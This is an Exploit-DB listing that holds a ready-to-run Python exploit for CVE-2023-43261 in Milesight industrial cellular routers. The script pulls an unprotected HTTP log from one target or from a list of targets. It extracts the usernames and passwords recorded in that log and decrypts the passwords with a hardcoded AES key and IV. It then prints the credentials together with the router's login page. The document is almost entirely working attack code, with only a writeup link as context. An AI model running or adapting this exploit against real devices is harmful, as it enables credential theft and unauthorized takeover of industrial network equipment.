Milesight Routers UR5X, UR32L, UR32, UR35, UR41 – Credential Leakage Through Unprotected System Logs and Weak Password Encryption

  • 作者: Bipin Jitiya
    日期: 2024-02-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51784/
  • #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    """
    Title: Credential Leakage Through Unprotected System Logs and Weak Password Encryption
    CVE: CVE-2023-43261
    Script Author: Bipin Jitiya (@win3zz)
    Vendor: Milesight IoT - https://www.milesight-iot.com/ (Formerly Xiamen Ursalink Technology Co., Ltd.)
    Software/Hardware: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Router could also be vulnerable.
    Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10
    Writeup: https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf
    """
    
    import sys
    import requests
    import re
    import warnings
    from Crypto.Cipher import AES # pip install pycryptodome
    from Crypto.Util.Padding import unpad
    import base64
    import time
    
    warnings.filterwarnings("ignore")
    
    KEY = b'1111111111111111'
    IV = b'2222222222222222'
    
    def decrypt_password(password):
    try:
    return unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size).decode('utf-8')
    except ValueError as e:
    display_output('[-] Error occurred during password decryption: ' + str(e), 'red')
    
    def display_output(message, color):
    colors = {'red': '\033[91m', 'green': '\033[92m', 'blue': '\033[94m', 'yellow': '\033[93m', 'cyan': '\033[96m', 'end': '\033[0m'}
    print(f"{colors[color]}{message}{colors['end']}")
    time.sleep(0.5)
    
    urls = []
    
    if len(sys.argv) == 2:
    urls.append(sys.argv[1])
    
    if len(sys.argv) == 3 and sys.argv[1] == '-f':
    with open(sys.argv[2], 'r') as file:
    urls.extend(file.read().splitlines())
    
    if len(urls) == 0:
    display_output('Please provide a URL or a file with a list of URLs.', 'red')
    display_output('Example: python3 ' + sys.argv[0] + ' https://example.com', 'blue')
    display_output('Example: python3 ' + sys.argv[0] + ' -f urls.txt', 'blue')
    sys.exit()
    
    use_proxy = False
    proxies = {'http': 'http://127.0.0.1:8080/'} if use_proxy else None
    
    for url in urls:
    display_output('[*] Initiating data retrieval for: ' + url + '/lang/log/httpd.log', 'blue')
    response = requests.get(url + '/lang/log/httpd.log', proxies=proxies, verify=False)
    
    if response.status_code == 200:
    display_output('[+] Data retrieval successful for: ' + url + '/lang/log/httpd.log', 'green')
    data = response.text
    credentials = set(re.findall(r'"username":"(.*?)","password":"(.*?)"', data))
    
    num_credentials = len(credentials)
    display_output(f'[+] Found {num_credentials} unique credentials for: ' + url, 'green')
    
    if num_credentials > 0:
    display_output('[+] Login page: ' + url + '/login.html', 'green')
    display_output('[*] Extracting and decrypting credentials for: ' + url, 'blue')
    display_output('[+] Unique Credentials:', 'yellow')
    for i, (username, password) in enumerate(credentials, start=1):
    display_output(f'Credential {i}:', 'cyan')
    decrypted_password = decrypt_password(password.encode('utf-8'))
    display_output(f'- Username: {username}', 'green')
    display_output(f'- Password: {decrypted_password}', 'green')
    else:
    display_output('[-] No credentials found in the retrieved data for: ' + url, 'red')
    else:
    display_output('[-] Data retrieval failed. Please check the URL: ' + url, 'red')